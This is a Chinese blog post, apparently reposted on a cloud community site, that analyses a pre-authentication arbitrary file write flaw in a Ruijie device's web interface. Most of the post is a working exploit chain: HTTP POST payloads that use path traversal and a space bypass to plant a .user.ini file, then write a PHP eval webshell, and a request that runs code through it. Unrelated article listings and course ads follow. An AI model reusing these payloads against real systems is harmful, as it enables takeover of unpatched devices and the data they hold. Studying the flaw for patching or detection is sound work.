锐捷某系统前台任意文件写入分析

本文涉及的产品
函数计算FC,每月15万CU 3个月
简介: 锐捷某系统前台任意文件写入分析

640.gif


Part1前言

这套系统我估计是全网第一个公开能拿shell的吧(不是的话当我没说),哪套系统自己猜,这次先分享下前台任意文件写入,还有几个rce日后分享,也感谢独立团孙德胜Alan提供的思路。

Part2代码分析

漏洞位置:/view/vpn/autovpn/feature_commit.php

先通过POST传参进入if判断

在下面的fc_extendsubnet处传参即可进入漏洞位置

会将我们传入的参数提交到putConfig方法

putConfig方法在common.php里,我们来观察下

很简单哈,就是一个file_put_contents函数

再回到存在漏洞的位置,是通过indevice传入文件位置,并且会判断文件后缀最后一位是否为“i”,不是的话就给文件后缀添加上“i”,然后与$lanfile拼接。

Part3开冲!!!

因为这套系统是以Linux为主,所以我们可以通过空格去绕过已经定义好的$lanfile 以下为我自己做的测试:

然后呢他去判断后缀是否为“i”,所以我们可以利用.user.ini制作一个后门。

关于.user.ini后门,大家可以去看P牛写的文章:https://www.vuln.cn/6001

之后利用../跳目录,写入绝对路径。所以我们文件名的payload是:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.user.in

文件名ok了,我们去构造内容

可以看到是由ft_ipaddr和ft_ipmask传参的,我们简单测试下

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.users.ini&ft_ipaddr=111&ft_ipmask=1234

可以看到内容是没有问题的,但是会给我们的内容首尾添加上两个双引号,所以我们需要在payload里加入双引号进行闭合。

Payload:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.users.ini&ft_ipaddr=111&ft_ipmask=1234"11111"

闭合成功

然后我们构造.user.ini的payload:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.user.in&ft_ipmask=%22
auto_prepend_file=1.gifi "

注意:“auto_prepend_file=1.gifi”前面一定要有回车,不然是不会生效的。

之后再往“1.gifi”写入一句话木马,这里无所谓了,不需要回车。Payload:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/1.gif&ft_ipmask="<?php%20eval($_GET[pass]);?>"

然后就ok了,需要先等待上0-3分钟,或者是重启Web服务。之后随便访问.user.ini同级目录下的.php文件,加上咱们的木马,即可代码执行了。

/view/vpn/autovpn/apngw.php?pass=phpinfo();

相关实践学习
【文生图】一键部署Stable Diffusion基于函数计算
本实验教你如何在函数计算FC上从零开始部署Stable Diffusion来进行AI绘画创作,开启AIGC盲盒。函数计算提供一定的免费额度供用户使用。本实验答疑钉钉群:29290019867
建立 Serverless 思维
本课程包括: Serverless 应用引擎的概念, 为开发者带来的实际价值, 以及让您了解常见的 Serverless 架构模式
目录
相关文章
|
6月前
|
移动开发 前端开发
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的收回功能
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的收回功能
66 1
|
11月前
|
数据管理
当前单一的数据目录已经很难满足数据管 理者和消费者对于资产管理和查找的需求。
当前单一的数据目录已经很难满足数据管 理者和消费者对于资产管理和查找的需求。
73 2
|
Web App开发 安全 物联网
大华智慧园区综合管理平台前台任意文件上传漏洞
大华智慧园区综合管理平台存在前台任意文件上传漏洞,攻击者可通过特定Payload获取服务器敏感信息,进而获取服务器控制权限。
872 1
|
安全 数据安全/隐私保护
蓝凌OA系统存在任意文件读取(SSRF)
蓝凌OA系统存在任意文件读取(SSRF)
蓝凌OA系统存在任意文件读取(SSRF)
|
3月前
|
对象存储 数据安全/隐私保护
就软件研发问题之数据流动支持目录级别映射的问题如何解决
就软件研发问题之数据流动支持目录级别映射的问题如何解决
|
6月前
|
移动开发 前端开发
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的取消终止功能
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的取消终止功能
66 3
|
安全 虚拟化 Python
和信创天云桌面系统_命令执行_任意文件上传
和信创天云桌面系统_命令执行_任意文件上传
和信创天云桌面系统_命令执行_任意文件上传
|
数据建模 BI OLAP
哪些报表该放入报表系统,哪些又该放到业务系统里?
哪些报表该放入报表系统,哪些又该放到业务系统里?
|
SQL Java 关系型数据库
从系统报表页面导出20w条数据到本地只用了4秒,我是如何做到的
最近有个学弟找到我,跟我描述了以下场景: 他们公司内部管理系统上有很多报表,报表数据都有分页显示,浏览的时候速度还可以。但是每个报表在导出时间窗口稍微大一点的数据时,就异常缓慢,有时候多人一起导出时还会出现堆溢出。 他知道是因为数据全部加载到jvm内存导致的堆溢出。所以只能对时间窗口做了限制。以避免因导出过数据过大而引起的堆溢出。最终拍脑袋定下个限制为:导出的数据时间窗口不能超过1个月。
|
存储 网络协议 小程序
我的小工具,用C和python实现远程读卡器,远程读写消费卡片
我的小工具,用C和python实现远程读卡器,远程读写消费卡片
我的小工具,用C和python实现远程读卡器,远程读写消费卡片